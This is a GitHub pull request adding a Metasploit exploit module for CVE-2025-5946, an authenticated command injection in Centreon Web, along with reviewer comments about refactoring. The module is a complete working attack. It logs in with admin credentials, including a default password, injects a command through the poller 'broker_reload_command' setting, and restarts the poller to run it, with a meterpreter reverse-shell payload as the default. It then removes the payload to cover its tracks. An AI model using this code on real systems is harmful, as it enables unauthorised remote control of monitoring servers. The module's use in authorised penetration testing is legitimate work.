Skip to content
Open
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
289 changes: 289 additions & 0 deletions modules/exploits/linux/http/centreon_auth_rce_cve_2025_5946.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,289 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
'Description' => %q{
Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
This module exploits an command injection vulnerability using the `broker engine reload` setting
on the poller configuration page of the Centreon web application. Injecting a malcious payload
at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
You need have admin access at the Centreon Web application in order to execute this RCE.
This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
`24.10.13`, `24.04.18` and `23.10.28`.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
],
'References' => [
['CVE', '2025-5946'],
['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
},
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-09-24',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
OptString.new('USERNAME', [false, 'Centreon web admin user', 'admin']),
OptString.new('PASSWORD', [false, 'Centreon web admin password', 'Centreon!123'])
])
end

# login at the Centreon web application
# return true if login successful else false
def centreon_login(name, pwd)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It'd be lovely this have this into a mixing, as there are already 3 modules targeting centreon.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd agree here, i think we have a non-written rule that if 3 modules are doing something similar it should be a mixin.

# login with admin credentials
# first try login logic in newer versions
post_data = {
login: name.to_s,
password: pwd.to_s
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
'data' => post_data.to_s
})
return true if res&.code == 200 && res.body.include?('redirect_uri')

# try again using login logic for older versions
# get centreon_token
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})

unless res&.code == 200 && res.body.include?('centreon_token')
vprint_status('No centreon_token found!')
return false
end

html = res.get_html_document
centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text

# login with admin credentials and centreon_token
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'useralias' => name.to_s,
'password' => pwd.to_s,
'submitLogin' => 'Connect',
'centreon_token' => centreon_token.to_s
}
})
return true if res&.code == 302
else
vprint_warning('Unable to process the centreon_token.')
end
false
end

# CVE-2025-xxxx: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
def execute_command(cmd, _opts = {})
@clean_payload = true
payload = ";#{cmd}"
vprint_status("payload=#{payload}")
# attach payload at the centreon broker engine "reload parameter
fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)

# trigger execution by restarting the poller
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
'keep_cookies' => true,
'vars_post' => {
'poller' => 1,
'mode' => 1
}
})
end

# attach payload at the centreon broker engine "reload" parameter and commit into the sql database
def drop_rce_payload(payload)
# get the poller configuration and centreon_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901,
'o' => 'c',
'server_id' => 1
}
})

unless res&.code == 200 && res.body.include?('centreon_token')
vprint_status('No centreon_token found!')
return false
end

html = res.get_html_document
centreon_token = html.css("input[name='centreon_token']")[0].attribute_nodes[2].text

# update poller "centreon broker engine reload" setting with payload
if centreon_token
vprint_status("centreon_token=#{centreon_token}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
'keep_cookies' => true,
'vars_get' => {
'p' => 60901
},
'vars_post' => {
'name' => 'Central',
'ns_ip_address' => '127.0.0.1',
'localhost[localhost]' => 1,
'is_default[is_default]' => 1,
'gorgone_communication_type[gorgone_communication_type]' => 1,
'gorgone_port' => 5556,
'engine_start_command' => 'service centengine start',
'engine_stop_command' => 'service centengine stop',
'engine_restart_command' => 'service centengine restart',
'engine_reload_command' => 'service centengine reload',
'nagios_bin' => '/usr/sbin/centengine',
'nagiostats_bin' => '/usr/sbin/centenginestats',
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
'broker_reload_command' => "service cbd reload#{payload}",
'centreonbroker_cfg_path' => '/etc/centreon-broker',
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path' => nil,
'centreonconnector_path' => '/usr/lib64/centreon-connector',
'init_script_centreontrapd' => 'centreontrapd',
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
'ns_activate[ns_activate]' => 1,
'submitC' => 'Save',
'id' => 1,
'o' => 'c',
'centreon_token' => centreon_token.to_s
}
})
if res&.code == 200 && res.body.include?('ajaxOption table')
vprint_good('Poller setting "broker_reload_command" updated with payload.')
return true
else
vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
return false
end
else
vprint_warning('Unable to process the centreon_token.')
return false
end
end

# try to remove the payload from the poller settings to cover our tracks
def cleanup
super
# check if payload should be cleaned
if @clean_payload
vprint_status('Cleaning up the mess...')
if drop_rce_payload(nil)
print_good('Payload has been successfully removed.')
else
print_warning('Payload not removed. Try to remove it manually.')
end
end
end

# get the Centreon version
# return version if successful else nil
def get_centreon_version
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This would also be great to have in a mixin <3

# get version information use Web API v2.0
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
'keep_cookies' => true
})
# for older versions try to scrape the version from the login web page
unless res&.code == 200 && res.body.include?('web')
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
return nil unless res&.code == 200

build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
return nil if build.nil?

return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
end
res_json = res.get_json_document
res_json['web']['version'] unless res_json.blank?
end

def check
version = get_centreon_version
return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?

version = Rex::Version.new(version)
return CheckCode::Appears("Centreon version #{version}") if version >= Rex::Version.new('19.10.0') && version < Rex::Version.new('25.09.0')

CheckCode::Safe("Centreon version #{version}")
end

def exploit
# check if we can login at the Centreon Web application with the default admin credentials
username = datastore['USERNAME']
password = datastore['PASSWORD']
print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
print_status('Succesfully authenticated at the Centreon Web application.')

# storing credentials at the msf database
print_status('Saving admin credentials at the msf database.')
store_valid_credential(user: username, private: password)

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
end